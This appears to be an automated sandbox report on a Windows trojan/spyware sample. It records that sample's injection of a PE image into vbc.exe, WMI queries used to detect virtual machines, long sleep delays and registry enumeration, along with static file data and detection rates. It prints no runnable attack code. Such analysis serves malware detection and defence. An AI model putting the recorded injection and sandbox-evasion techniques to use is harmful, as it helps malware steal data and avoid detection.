Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BF121	2_2_050BF121
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050B6308	2_2_050B6308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050B6318	2_2_050B6318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050B727F	2_2_050B727F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050B7290	2_2_050B7290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050B52A9	2_2_050B52A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050B6D89	2_2_050B6D89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BEC21	2_2_050BEC21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BBFBA	2_2_050BBFBA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050B5864	2_2_050B5864
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F52DE0	2_2_09F52DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F505C8	2_2_09F505C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F54438	2_2_09F54438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F51F78	2_2_09F51F78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F53678	2_2_09F53678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F5261E	2_2_09F5261E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F52DDF	2_2_09F52DDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F509BF	2_2_09F509BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F505B8	2_2_09F505B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F509AE	2_2_09F509AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F52983	2_2_09F52983
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F5093E	2_2_09F5093E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F5091D	2_2_09F5091D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F508E5	2_2_09F508E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F514AC	2_2_09F514AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F55450	2_2_09F55450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F55440	2_2_09F55440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F50040	2_2_09F50040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F54428	2_2_09F54428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F5001E	2_2_09F5001E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F53C00	2_2_09F53C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F55408	2_2_09F55408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F53BEB	2_2_09F53BEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F53365	2_2_09F53365
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F51F67	2_2_09F51F67
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F53350	2_2_09F53350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F54F38	2_2_09F54F38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F53AC0	2_2_09F53AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F5366A	2_2_09F5366A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F50A21	2_2_09F50A21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F5320E	2_2_09F5320E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7B9E0	2_2_09F7B9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F70040	2_2_09F70040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F79008	2_2_09F79008
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F71808	2_2_09F71808
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7EB90	2_2_09F7EB90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7A5A8	2_2_09F7A5A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F72D98	2_2_09F72D98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7F570	2_2_09F7F570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7DCC0	2_2_09F7DCC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F78C20	2_2_09F78C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F79F20	2_2_09F79F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7B6D8	2_2_09F7B6D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7B9D0	2_2_09F7B9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7E0E2	2_2_09F7E0E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F78800	2_2_09F78800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7EB80	2_2_09F7EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7C368	2_2_09F7C368
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7C35A	2_2_09F7C35A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7FAA9	2_2_09F7FAA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F76A20	2_2_09F76A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F76A28	2_2_09F76A28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7D228	2_2_09F7D228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7D21A	2_2_09F7D21A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7E5EA	2_2_09F7E5EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7A598	2_2_09F7A598
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F72D8D	2_2_09F72D8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7F55F	2_2_09F7F55F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7DCAF	2_2_09F7DCAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7E431	2_2_09F7E431
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F78C10	2_2_09F78C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F74F68	2_2_09F74F68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F79F16	2_2_09F79F16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F7B6CA	2_2_09F7B6CA

Source: w5OsHBiADi.exe, 00000000.00000002.251937830.0000000000734000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameMormaor.exe4 vs w5OsHBiADi.exe

Source: w5OsHBiADi.exe	ReversingLabs: Detection: 80%
Source: w5OsHBiADi.exe	Virustotal: Detection: 63%

Source: C:\Users\user\Desktop\w5OsHBiADi.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\w5OsHBiADi.exe C:\Users\user\Desktop\w5OsHBiADi.exe
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/2@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_01

Source: w5OsHBiADi.exe

Static file information: File size 1559040 > 1048576

Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00485070 push eax; mov dword ptr [esp], ebx	0_2_00485255
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_004921B0 push eax; mov dword ptr [esp], ebx	0_2_004922E4
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00496250 push edx; mov dword ptr [esp], ebx	0_2_00496597
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00496250 push eax; mov dword ptr [esp], ebx	0_2_004965C3
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00483220 push eax; mov dword ptr [esp], ebx	0_2_00483806
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_004822E0 push eax; mov dword ptr [esp], ebx	0_2_004828E0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_004AF3D0 push eax; mov dword ptr [esp], esi	0_2_004C4B4D
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00495C70 push edx; mov dword ptr [esp], ebx	0_2_00495FB7
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00495C70 push eax; mov dword ptr [esp], ebx	0_2_00495FE3
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00482C00 push eax; mov dword ptr [esp], ebx	0_2_004831E6
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00492410 push eax; mov dword ptr [esp], ebx	0_2_00492543
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00481CA0 push eax; mov dword ptr [esp], ebx	0_2_004822A0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00494E70 push edx; mov dword ptr [esp], ebx	0_2_004950CF
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00494E70 push eax; mov dword ptr [esp], ebx	0_2_004950E9
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0048CE00 push eax; mov dword ptr [esp], ebx	0_2_0048CFCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05068179 push dword ptr [edi]; retf	2_2_05068185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05067EC9 push es; retf	2_2_05067ECA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F564C6 push 62BA4E53h; iretd	2_2_09F564CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_09F77817 push 4EE3BA06h; retf	2_2_09F7781C

Source: w5OsHBiADi.exe	Static PE information: section name: .eh_fram
Source: w5OsHBiADi.exe	Static PE information: section name: .*vT

Source: C:\Users\user\Desktop\w5OsHBiADi.exe

Code function: 0_2_004014E0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004014E0

Source: initial sample

Static PE information: section name: .*vT entropy: 7.280453332026501

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 4832	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 1788	Thread sleep count: 3323 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 101124	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Window / User API: threadDelayed 3323

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\w5OsHBiADi.exe

API coverage: 6.2 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: vbc.exe, 00000002.00000003.311867901.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\w5OsHBiADi.exe

Code function: 0_2_004014E0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004014E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0040115C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,GetStartupInfoA,_initterm,exit,		0_2_0040115C
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_004378C0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,		0_2_004378C0

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4A00000			Jump to behavior
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 48E4008			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\w5OsHBiADi.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4A00000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\w5OsHBiADi.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
